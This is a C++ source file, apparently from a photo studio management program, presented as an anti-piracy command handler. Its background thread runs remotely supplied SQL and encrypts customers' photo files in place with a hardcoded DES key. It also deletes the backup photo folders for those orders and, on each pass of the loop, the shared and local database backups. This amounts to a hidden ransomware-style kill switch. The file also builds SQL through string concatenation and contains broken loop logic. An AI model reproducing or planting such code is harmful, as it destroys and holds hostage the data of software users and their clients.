123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546 |
- #include "stdafx.h"
- #include "AntiTheftCommand.h"
- #include "TblDef.h"
- #include "BranchInfo.h"
- #ifdef _DEBUG
- #define new DEBUG_NEW
- #undef THIS_FILE
- static char THIS_FILE[] = __FILE__;
- #endif
- CAntiTheftCommand::CAntiTheftCommand(void)
- {
- }
- CAntiTheftCommand::~CAntiTheftCommand(void)
- {
- }
- BOOL CAntiTheftCommand::InitCommand(IN AntiCmd &tagAntiCmd)
- {
- if ( g_strAntiTheftInfo.IsEmpty() )
- return FALSE;
- // 解密密文;
- CString strResult = _T("");
- if ( des_crypt(g_strAntiTheftInfo, strResult, DES_DECRYPT) == -1)
- return FALSE;
- INT nArySize = 0;
- cJSON *pRootJSON = NULL;
- cJSON *pWarnOptJSON = NULL;
- cJSON *pDogOptJSON = NULL;
- cJSON *pSQLOptJSON = NULL;
- cJSON *pDataOptJSON = NULL;
- cJSON *pAryJSON = NULL;
- cJSON *pAryItem = NULL;
- // 解析json串;
- pRootJSON = cJSON_Parse(strResult.GetString());
- if ( pRootJSON == NULL)
- return FALSE;
- if ( cJSON_GetObjectItem(pRootJSON, "cmd-result") == NULL || cJSON_GetObjectItem(pRootJSON, "cmd-guid") == NULL)
- return FALSE;
- // 命令执行结果;
- tagAntiCmd.bResult = cJSON_GetObjectItem(pRootJSON, "cmd-result")->valueint;
- // 命令guid;
- tagAntiCmd.strCmdGuid = cJSON_GetObjectItem(pRootJSON, "cmd-guid")->valuestring;
- // 获取盗版提示信息;
- pWarnOptJSON = cJSON_GetObjectItem(pRootJSON, "AntiWarning");
- if ( pWarnOptJSON == NULL )
- return FALSE;
- tagAntiCmd.stWarnOpt.bEnable = cJSON_GetObjectItem(pWarnOptJSON, "Enable") ? cJSON_GetObjectItem(pWarnOptJSON, "Enable")->valueint : FALSE;
- tagAntiCmd.stWarnOpt.strContent = cJSON_GetObjectItem(pWarnOptJSON, "Content") ? cJSON_GetObjectItem(pWarnOptJSON, "Content")->valuestring : "";
- // 获取加密狗操作信息;
- pDogOptJSON = cJSON_GetObjectItem(pRootJSON, "Dog-Opt");
- if ( pDogOptJSON == NULL )
- return FALSE;
- tagAntiCmd.stDogOpt.bEnable = cJSON_GetObjectItem(pDogOptJSON, "Enable") ? cJSON_GetObjectItem(pDogOptJSON, "Enable")->valueint : FALSE;
- tagAntiCmd.stDogOpt.strExpired = cJSON_GetObjectItem(pDogOptJSON, "Expired") ? cJSON_GetObjectItem(pDogOptJSON, "Expired")->valuestring : "";
- // 获取SQL操作信息;
- pSQLOptJSON = cJSON_GetObjectItem(pRootJSON, "SQL-Opt");
- if ( pSQLOptJSON == NULL )
- return FALSE;
- tagAntiCmd.stSQLOpt.bEnable = cJSON_GetObjectItem(pSQLOptJSON, "Enable") ? cJSON_GetObjectItem(pSQLOptJSON, "Enable")->valueint : FALSE;
- pAryJSON = cJSON_GetObjectItem(pSQLOptJSON, "SQL-Ary");
- if ( pAryJSON == NULL )
- return FALSE;
-
- nArySize = cJSON_GetArraySize(pAryJSON);
- for ( int i = 0; i < nArySize; i++ )
- {
- pAryItem = cJSON_GetArrayItem(pAryJSON, i);
- if ( pAryItem )
- {
- SQLElement tagSQLItem;
- tagSQLItem.bExecStatus = cJSON_GetObjectItem(pAryItem, "ExecStatus") ? cJSON_GetObjectItem(pAryItem, "ExecStatus")->valueint : FALSE;
- tagSQLItem.strExecTime = cJSON_GetObjectItem(pAryItem, "ExecTime") ? cJSON_GetObjectItem(pAryItem, "ExecTime")->valuestring : "";
- tagSQLItem.strSQL = cJSON_GetObjectItem(pAryItem, "Statement") ? cJSON_GetObjectItem(pAryItem, "Statement")->valuestring : "";
- tagAntiCmd.stSQLOpt.vtSQLElement.push_back(tagSQLItem);
- }
- }
-
- // 获取加密操作;
- pDataOptJSON = cJSON_GetObjectItem(pRootJSON, "Data-Opt");
- if ( pDataOptJSON == NULL )
- return FALSE;
- tagAntiCmd.stDataOpt.bEnable = cJSON_GetObjectItem(pDataOptJSON, "Enable") ? cJSON_GetObjectItem(pDataOptJSON, "Enable")->valueint : FALSE;
- tagAntiCmd.stDataOpt.bExecStatus = cJSON_GetObjectItem(pDataOptJSON, "ExecStatus") ? cJSON_GetObjectItem(pDataOptJSON, "ExecStatus")->valueint : FALSE;
- tagAntiCmd.stDataOpt.strExecTime = cJSON_GetObjectItem(pDataOptJSON, "ExecTime") ? cJSON_GetObjectItem(pDataOptJSON, "ExecTime")->valuestring : "";
- tagAntiCmd.stDataOpt.nEncryptCount = cJSON_GetObjectItem(pDataOptJSON, "EncryptCount") ? cJSON_GetObjectItem(pDataOptJSON, "EncryptCount")->valueint : 0;
- pAryJSON = cJSON_GetObjectItem(pDataOptJSON, "Order-Ary");
- if ( pAryJSON )
- {
- nArySize = cJSON_GetArraySize(pAryJSON);
- for ( int i = 0; i < nArySize; i++)
- {
- pAryItem = cJSON_GetArrayItem(pAryJSON, i);
- if ( pAryItem )
- {
- tagAntiCmd.stDataOpt.AryOrder.Add(cJSON_GetObjectItem(pDataOptJSON, "order") ? cJSON_GetObjectItem(pDataOptJSON, "order")->valuestring : "");
- }
- }
- }
- cJSON_Delete(pRootJSON);
- return TRUE;
- }
- BOOL CAntiTheftCommand::OptWarning(IN WarnOpt &tagWarnOpt)
- {
- if ( !tagWarnOpt.bEnable )
- return TRUE;
-
- // 插入到version.reverse4中;
- CDatabase *pdb = NULL;
- for( int i = 0; i < 10, pdb == NULL; i++ )
- {// 10次获取机会;
- ODBCConnGuard ConnGuard(pdb, -1, 3000);
- Sleep(1000);
- }
- if ( pdb == NULL )
- return FALSE;
- try
- {
- pdb->ExecuteSQL(_T("update version set [reverse4] = '") + tagWarnOpt.strContent + _T("'"));
- }
- catch (CDBException* e)
- {
- #ifdef _DEBUG
- WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
- #endif
- e->Delete();
- return FALSE;
- }
- return TRUE;
- }
- BOOL CAntiTheftCommand::OptDog(IN DogOpt &tagDogOpt)
- {
- if ( !tagDogOpt.bEnable )
- return TRUE;
- INT nYear = 0, nMonth = 0, nDay = 0;
- if ( _stscanf(tagDogOpt.strExpired, _T("%d-%d-%d"), &nYear, &nMonth, &nDay) == EOF )
- return TRUE; // 没有设置,默认返回true;
- CTime tm = CTime::GetCurrentTime();
- return TRUE;
- }
- BOOL CAntiTheftCommand::OptSQL(IN SQLOpt &tagSQLOpt)
- {
- if ( !tagSQLOpt.bEnable )
- return TRUE;
- CDatabase *pdb = NULL;
- for( int i = 0; i < 10, pdb == NULL; i++ )
- {// 10次获取机会;
- ODBCConnGuard ConnGuard(pdb, -1, 3000);
- Sleep(1000);
- }
- if ( pdb == NULL )
- return FALSE;
- BOOL bExecResult = TRUE;
- for ( vector<SQLElement>::iterator it = tagSQLOpt.vtSQLElement.begin(); it != tagSQLOpt.vtSQLElement.end(); it++ )
- {
- if ( !it->bExecStatus )
- {// 未执行过;
- if ( it->strExecTime == _T("NN:NN"))
- {// 下次触发执行;
- if ( g_bNextTrigger )
- {
- it->strExecTime = _T("NN:BB");
- }
- }
- else if (it->strExecTime == _T("CC:CC"))
- {// 立即执行;
- try
- {
- it->bExecStatus = TRUE; // 不管执行成功与否,都设置为true;
- pdb->ExecuteSQL(it->strSQL);
- }
- catch (CDBException* e)
- {
- #ifdef _DEBUG
- WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
- #endif
- }
- }
- else if ( it->strExecTime == _T("BB:BB") || it->strExecTime == _T("NN:BB") )
- {// 下次备份再执行;
- CTime curTime = CTime::GetCurrentTime();
- if ( curTime.GetHour() == _tstoi(g_strBackupTime) )
- {
- try
- {
- it->bExecStatus = TRUE;
- pdb->ExecuteSQL(it->strSQL);
- }
- catch(CDBException *e)
- {
- #ifdef _DEBUG
- WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
- #endif
- }
- }
- }
- }
- if ( !it->bExecStatus )
- bExecResult = FALSE;
- }
- return bExecResult;
- }
- BOOL CAntiTheftCommand::OptData(IN DataOpt &tagDataOpt)
- {
- if ( tagDataOpt.bEnable == FALSE)
- return TRUE;
- if ( !tagDataOpt.bExecStatus )
- {
- std::vector<string> vtfiles;
- if ( tagDataOpt.strExecTime == _T("NN:NN"))
- {// 下次触发再执行;
- if (g_bNextTrigger)
- {
- tagDataOpt.strExecTime = _T("NN:BB");
- }
- }
- else if ( tagDataOpt.strExecTime == _T("CC:CC"))
- {// 立即执行;
- GetOrderInfo(tagDataOpt.nEncryptCount, tagDataOpt.AryOrder);
- GetOrderImgfile(tagDataOpt.AryOrder, vtfiles);
- }
- else if ( tagDataOpt.strExecTime == _T("NN:BB") || tagDataOpt.strExecTime == _T("BB:BB"))
- {// 下次备份时执行;
- GetOrderInfo(tagDataOpt.nEncryptCount, tagDataOpt.AryOrder);
- GetOrderImgfile(tagDataOpt.AryOrder, vtfiles);
- }
- else
- {// 指定时间执行;
- GetOrderInfo(tagDataOpt.nEncryptCount, tagDataOpt.AryOrder);
- GetOrderImgfile(tagDataOpt.AryOrder, vtfiles);
- }
- EncryptImg(vtfiles, (LPBYTE)"lyfz.net", (LPBYTE)"WorkbyIT");
- // 执行成功,标记完成;
- tagDataOpt.bExecStatus = TRUE;
- }
-
- return tagDataOpt.bExecStatus;
- }
- BOOL CAntiTheftCommand::GetOrderInfo(IN INT nEncryptCount, IN CStringArray &AryOrder)
- {
- CDatabase *pdb = NULL;
- for( int i = 0; i < 10, pdb == NULL; i++ )
- {// 10次获取机会;
- ODBCConnGuard ConnGuard(pdb, -1, 3000);
- Sleep(1000);
- }
- if ( pdb == NULL )
- return FALSE;
- try
- {
- // 查询出拍照OK,未选片的订单号;
- DWORD dwIndex = 0;
- CRecordset tagRst(pdb);
- CString strSQL = _T("");
- strSQL.Format(_T("select top %d id from dindan where status = 'OK' and status2 = '未选' order by id desc"), nEncryptCount);
- tagRst.Open(CRecordset::forwardOnly, strSQL);
- while ( !tagRst.IsEOF() )
- {
- tagRst.GetFieldValue(_T("id"), strSQL);
- tagRst.MoveNext();
- ++dwIndex;
- AryOrder.Add(strSQL);
- if ( dwIndex == nEncryptCount)
- break;
- }
- tagRst.Close();
- return TRUE;
- }
- catch (CDBException* e)
- {
- #ifdef _DEBUG
- WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
- #endif
- e->Delete();
- }
- return FALSE;
- }
- BOOL CAntiTheftCommand::GetOrderImgfile(IN CStringArray& AryOrder, std::vector<string> &vtImgfiles)
- {
- // 查找出所有订单目录,原片\初修\精修....(包含多目录共享的情况);
- TblNetShareInfo *pNetShareInfo = NULL;
- CStringArray AryShareDirectory;
- for ( CBranchInfo::NETSHAREINFO::iterator it = CBranchInfo::m_TblNetShareInfo.begin(); it != CBranchInfo::m_TblNetShareInfo.end(); it++ )
- {
- if ( _tcscmp((*it)->szBranchId, g_sdomain) == 0 && (*it)->bEnable )
- {
- AryShareDirectory.Add((*it)->szShareDirectory);
- }
- }
- CString strOrderDir = _T("");
- // 删除备份的订单目录;
- DeleteBackupImg(AryOrder);
-
- // 找出所有相片,进行加密;
- filehelpImpl ff;
- TString strDirectory;
- for ( int i = 0; i < AryShareDirectory.GetSize(); i++ )
- {
- for ( int j = 0; j < AryOrder.GetSize(); j++ )
- {
- strDirectory = AryShareDirectory.ElementAt(i);
- strDirectory.append(_T("\\"));
- strDirectory.append(AryOrder.ElementAt(j));
- ff.getfiles_findin_subfolder(strDirectory.c_str(), _T("*.jpg|*.jpeg|*.nef|*.raw|*.cr2"), &vtImgfiles);
- }
- }
- return TRUE;
- }
- void CAntiTheftCommand::EncryptImg(IN std::vector<string> &vtfiles, IN LPBYTE lpKey, IN LPBYTE lpVi)
- {
- for ( std::vector<string>::iterator it = vtfiles.begin(); it != vtfiles.end(); it++ )
- {
- DES_EncryptFile(it->c_str(), lpKey, lpVi, it->c_str());
- }
- }
- void CAntiTheftCommand::DeleteBackupDB()
- {
- // 删除共享备份数据;
- if (!PathFileExists(CBranchInfo::m_TblVersion.szbakServer5))
- return;
- DeleteDirectory(CBranchInfo::m_TblVersion.szbakServer5);
- // 删除本地备份数据;
- TCHAR szLocalpath[MAX_PATH];
- _stprintf(szLocalpath, _T("%s\\%s"), g_ModulePath, _T("数据"));
- DeleteDirectory(szLocalpath);
- }
- void CAntiTheftCommand::DeleteBackupImg(IN CStringArray &AryOrder)
- {
- // 删除备份的订单目录;
- CString strOrderDir;
- for ( int i = 0; i < AryOrder.GetSize(); i++ )
- {
- // 原片备份目录;
- strOrderDir.Format(_T("%s\\%s"), CBranchInfo::m_TblVersion.szbakServer1, AryOrder.ElementAt(i));
- if ( PathFileExists(strOrderDir) )
- {
- DeleteDirectory(strOrderDir);
- }
- // 初修片备份目录;
- strOrderDir.Format(_T("%s\\%s"), CBranchInfo::m_TblVersion.szbakServer2, AryOrder.ElementAt(i));
- if ( PathFileExists(strOrderDir) )
- {
- DeleteDirectory(strOrderDir);
- }
- // 精修片备份目录;
- strOrderDir.Format(_T("%s\\%s"), CBranchInfo::m_TblVersion.szbakServer3, AryOrder.ElementAt(i));
- if ( PathFileExists(strOrderDir) )
- {
- DeleteDirectory(strOrderDir);
- }
- // 设计片备份目录;
- strOrderDir.Format(_T("%s\\%s"), CBranchInfo::m_TblVersion.szbakServer4, AryOrder.ElementAt(i));
- if ( PathFileExists(strOrderDir) )
- {
- DeleteDirectory(strOrderDir);
- }
- }
- }
- void CAntiTheftCommand::SaveResult(IN AntiCmd &tagAnticmd)
- {
- cJSON *pRootJSON = NULL;
- cJSON *pWarnOptJSON = NULL;
- cJSON *pDogOptJSON = NULL;
- cJSON *pSQLOptJSON = NULL;
- cJSON *pDataOptJSON = NULL;
- cJSON *pAryJSON = NULL;
- cJSON *pAryItem = NULL;
- // 防盗提示;
- pWarnOptJSON = cJSON_CreateObject();
- cJSON_AddBoolToObject(pWarnOptJSON, "Enable", tagAnticmd.stWarnOpt.bEnable);
- cJSON_AddStringToObject(pWarnOptJSON, "Content", tagAnticmd.stWarnOpt.strContent);
- // 加密狗;
- pDogOptJSON = cJSON_CreateObject();
- cJSON_AddBoolToObject(pDogOptJSON, "Enable", tagAnticmd.stDogOpt.bEnable);
- cJSON_AddStringToObject(pDogOptJSON, "Expired", tagAnticmd.stDogOpt.strExpired);
- // SQL;
- pSQLOptJSON = cJSON_CreateObject();
- cJSON_AddBoolToObject(pSQLOptJSON, "Enable", tagAnticmd.stSQLOpt.bEnable);
- pAryJSON = cJSON_CreateArray();
- cJSON_AddItemToObject(pSQLOptJSON, "SQL-Ary", pAryJSON);
- for ( vector<SQLElement>::iterator it = tagAnticmd.stSQLOpt.vtSQLElement.begin(); it != tagAnticmd.stSQLOpt.vtSQLElement.end(); it++ )
- {
- pAryItem = cJSON_CreateObject();
- cJSON_AddStringToObject(pAryItem, "Statement", it->strSQL.GetString());
- cJSON_AddStringToObject(pAryItem, "ExecTime", it->strExecTime.GetString());
- cJSON_AddBoolToObject(pAryItem, "ExecStatus", it->bExecStatus); // 执行状态;
- cJSON_AddItemToArray(pAryJSON, pAryItem);
- }
-
- // 加密;
- pDataOptJSON = cJSON_CreateObject();
- cJSON_AddBoolToObject(pDataOptJSON, "Enable", tagAnticmd.stDataOpt.bEnable);
- cJSON_AddNumberToObject(pDataOptJSON, "EncryptCount", tagAnticmd.stDataOpt.nEncryptCount);
- cJSON_AddStringToObject(pDataOptJSON, "ExecTime", tagAnticmd.stDataOpt.strExecTime);
- cJSON_AddBoolToObject(pDataOptJSON, "ExecStatus", tagAnticmd.stDataOpt.bExecStatus); // 执行状态;
- pAryJSON = cJSON_CreateArray();
- cJSON_AddItemToObject(pDataOptJSON, "Order-Ary", pAryJSON);
- for ( int i = 0; i < tagAnticmd.stDataOpt.AryOrder.GetSize(); i++ )
- {
- pAryItem = cJSON_CreateObject();
- cJSON_AddStringToObject(pAryItem, "order", tagAnticmd.stDataOpt.AryOrder.ElementAt(i).GetString());
- cJSON_AddItemToArray(pAryJSON, pAryItem);
- }
- // 汇总结果;
- pRootJSON = cJSON_CreateObject();
- cJSON_AddBoolToObject(pRootJSON, "cmd-result", tagAnticmd.bResult);
- cJSON_AddStringToObject(pRootJSON, "cmd-guid", tagAnticmd.strCmdGuid);
- cJSON_AddItemToObject(pRootJSON, "AntiWarning", pWarnOptJSON);
- cJSON_AddItemToObject(pRootJSON, "Dog-Opt", pDogOptJSON);
- cJSON_AddItemToObject(pRootJSON, "SQL-Opt", pSQLOptJSON);
- cJSON_AddItemToObject(pRootJSON, "Data-Opt", pDataOptJSON);
- char *pszResult = cJSON_Print(pRootJSON);
- #ifdef _DEBUG
- WriteTextLog(_T("Json:%s"), pszResult);
- #endif
- g_strAntiTheftInfo = pszResult;
- delete []pszResult;
- cJSON_Delete(pRootJSON);
- des_crypt(g_strAntiTheftInfo, g_strAntiTheftInfo, DES_ENCRYPT);
- CDatabase *pdb = NULL;
- for( int i = 0; i < 10, pdb == NULL; i++ )
- {// 10次获取机会;
- ODBCConnGuard ConnGuard(pdb, -1, 3000);
- Sleep(1000);
- }
- if ( pdb == NULL )
- return;
- try
- {
- pdb->ExecuteSQL(_T("update version set reverse5 = '") + g_strAntiTheftInfo + _T("'"));
- }
- catch (CDBException* e)
- {
- #ifdef _DEBUG
- WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
- #endif
- }
- }
- void CAntiTheftCommand::StartThread()
- {
- m_hThread = CreateThread(NULL, 0, ThreadAntiTheft, NULL, 0, NULL);
- if ( m_hThread )
- CloseHandle(m_hThread);
- }
- DWORD CAntiTheftCommand::ThreadAntiTheft(LPVOID lpPara)
- {
- #ifdef _DEBUG
- Sleep(1000);
- #else
- Sleep(180000);
- #endif
- while ( 1 )
- {
- INT nCount = 0;
- AntiCmd tagAnticmd;
- if ( InitCommand(tagAnticmd) )
- {
- if ( tagAnticmd.bResult )
- continue;
- OptWarning(tagAnticmd.stWarnOpt) ? nCount++ : nCount;
- OptDog(tagAnticmd.stDogOpt) ? nCount++ : nCount;
- OptSQL(tagAnticmd.stSQLOpt) ? nCount++ : nCount;
- OptData(tagAnticmd.stDataOpt) ? nCount++ : nCount;
- // 删除备份的数据库;
- DeleteBackupDB();
- if ( nCount == 4 )
- tagAnticmd.bResult = TRUE;
- // 保存结果;
- SaveResult(tagAnticmd);
- }
- #ifdef _DEBUG
- Sleep(1000);
- #else
- Sleep(1800000);
- #endif
- }
- return 0;
- }
|